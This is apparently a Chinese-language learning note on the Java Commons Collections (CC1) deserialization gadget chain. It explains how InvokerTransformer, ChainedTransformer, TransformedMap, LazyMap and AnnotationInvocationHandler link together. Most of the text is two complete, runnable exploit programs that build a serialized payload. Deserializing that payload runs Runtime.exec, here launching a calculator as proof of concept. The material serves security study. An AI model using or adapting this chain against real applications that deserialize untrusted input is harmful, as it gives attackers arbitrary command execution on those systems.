本文记录java安全cc链的学习
TransformedMap
首先要知道一些用到的类和接口
Transformer
接口
里面有一个待实现的transform
方法
InvokerTransformer
相当于重新实现了一个反射
比如这样可以弹计算器
ChainedTransformer
需要传一个Transformer数组
在其transform方法中可以按数组顺序逐一带入
ConstantTransformer
不管接收什么都返回一个常量 在构造函数赋值
TransformedMap
接收一个map两个Transformer
分析过程
我们最终想调用invokerTransformer的transform方法
那我们就要找谁调用了transform
这里考虑TransformedMap
类
然后看valueTransform是怎么来的
之前在看相关类的时候已经知道了 有一个Protected的构造函数 这里通过decorate方法得到的
那么我们先就如上的链子试试能不能连上
继续跟链子
我们发现AbstractInputCheckedMapDecorator
类中的MapEntry
类的setValue
方法调用了checkSetValue
且TransformedMap
继承AbstractInputCheckedMapDecorator
所以我们只需要遍历map就可以进setValue
现在变成了 我们需要找到 一个地方遍历数组并调用了setValue
然后发现AnnotationInvocationHandler
类中的readObject
方法直接有调用setValue
继续观察 要想执行到setValue还需要一定的条件
首先是memberType
非空
然后判断value是否是memberType的实例
并且我们知道Runtime是没有基础Serializable接口的我们需要用反射去拿Runtime的对象
我们先考虑Runtime的问题,需要反射
拿InvokerTransformer实现就是这样
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
.transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{Runtime.class,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
看起来很繁琐 我们可以用之前提到的ChainedTransformer来包裹
也就是这样
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
,new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null})
,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
然后解决memberType的问题 首先是注解必须要有属性 然后map的key得是属性名
我们可以考虑用Target注解的value
可以顺利进语句
现在我们只需要想办法控制setValue
中的数据就可以了
考虑开始说的ConstantTransformer
把Runtime.class
传给他就行
于是整个链子代码如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class App
{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class)
,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
,new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null})
,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,decoratedMap);
serialize(obj);
unSerialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static Object unSerialize(String path) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}
lazyMap
上面那个是一个版本 还有一个版本是基于lazyMap的
前面都一样 就TransformedMap
改成了LazyMap
我们发现invoke
方法中调用了get方法
所以我们需要一个动态代理类去代理AnnotationInvocationHandler
类 然后调用任意方法 就可以执行invoke
方法
要确保执行到memberValues.get
我们不能调有参方法
然后只要memberValues
是LazyMap
的代理类就行
刚好 AnnotationInvocationHandler
实现了 InvocationHandler
那么现在的问题就是找无参方法
entrySet
就很好
于是链子如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App
{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class)
,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
,new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null})
,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor annotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
InvocationHandler lzInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lzMap);
Map proxyLazyMap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(), lzMap.getClass().getInterfaces(), lzInvocationHandler);
Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyLazyMap);
serialize(obj);
unSerialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static Object unSerialize(String path) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}
这里在反序列化的时候会抛ClassCastException
的异常 不过不影响执行